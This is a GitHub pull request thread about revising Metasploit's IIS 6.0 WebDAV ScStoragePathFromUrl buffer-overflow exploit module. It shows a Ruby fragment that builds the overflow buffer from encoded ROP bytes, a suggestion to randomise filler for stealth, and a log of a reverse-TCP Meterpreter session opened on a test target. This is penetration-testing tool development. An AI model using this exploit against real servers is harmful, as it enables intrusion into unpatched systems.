Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

iis_webdav_scstoragepathfromurl: Updated module removing hardcoded binary payload strings #8420

Merged
merged 3 commits into from May 21, 2017

Conversation

lincoln-corelan
Copy link
Contributor

  • Used only nessessary pointers needed for exploit to work removing junk/filler chars
  • Repaced ROP chain with generic from msvcrt (even though original was beautiful and smaller, uses hardcoded pointers for leave instructions)
  • Cannot use ropdb since 4 byte junk char during generation may result in InvalidByteSequenceError during UTF conversion
  • It's been some years since my last pull request...so I might be a bit rusty to new Metasploit standards (please forgive me!)

Lastly, a lot of work was done from @dmchell, @rwhitcroft, @zcgonvh, and @firefart. I just wanted to add some minor modifications leveraging their hard work.

-Used only nessessary pointers needed for exploit to work removing junk/filler chars
-Repaced ROP chain with generic from msvcrt (even though original was beautiful and smaller, uses hardcoded pointers for leave instructions)
-Cannot use ropdb since 4 byte junk char during generation may result in InvalidByteSequenceError during UTF conversion
-It's been some years since my last pull request...so I might be a bit rusty to new Metasploit standards (please forgive me!)
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << utf_encode_str(junk * 16)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can we make this smth like this?

def make_junk(len):
    return utf_encode_str(rand_text_alpha(len))

buf1 << make_junk(32)

This way we would be even more stealth. Or is there any need for the 2 characters to repeat?

@lincoln-corelan
Copy link
Contributor Author

Good idea @firefart. Added, let me know if you see any other issues.

@@ -139,14 +189,41 @@ def exploit
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

junk = rand_text_alpha(2)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this line can now be removed

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done. Sorry, should of had coffee first :)

@firefart
Copy link
Contributor

firefart commented May 21, 2017

Works for me ❤️

msf exploit(iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 172.20.0.3:4444 
[*] Sending stage (957487 bytes) to 172.20.0.1
[*] Meterpreter session 1 opened (172.20.0.3:4444 -> 172.20.0.1:50832) at 2017-05-21 17:22:42 +0000

meterpreter > sysinfo
Computer        : WINDOWS
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : de_AT
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows

@firefart firefart merged commit b76229b into rapid7:master May 21, 2017
@firefart
Copy link
Contributor

@lincoln-corelan awesome thanks for the changes!

@firefart
Copy link
Contributor

firefart commented May 21, 2017

Release Notes

The payload for the exploits/windows/iis/iis_webdav_scstoragepathfromurl module is now well documented instead of being hardcoded.

@lincoln-corelan
Copy link
Contributor Author

Awesome! Thank you @firefart!

@lincoln-corelan lincoln-corelan deleted the upstream-master branch May 21, 2017 17:51
@alrosenthal-r7 alrosenthal-r7 added the rn-enhancement release notes enhancement label May 30, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants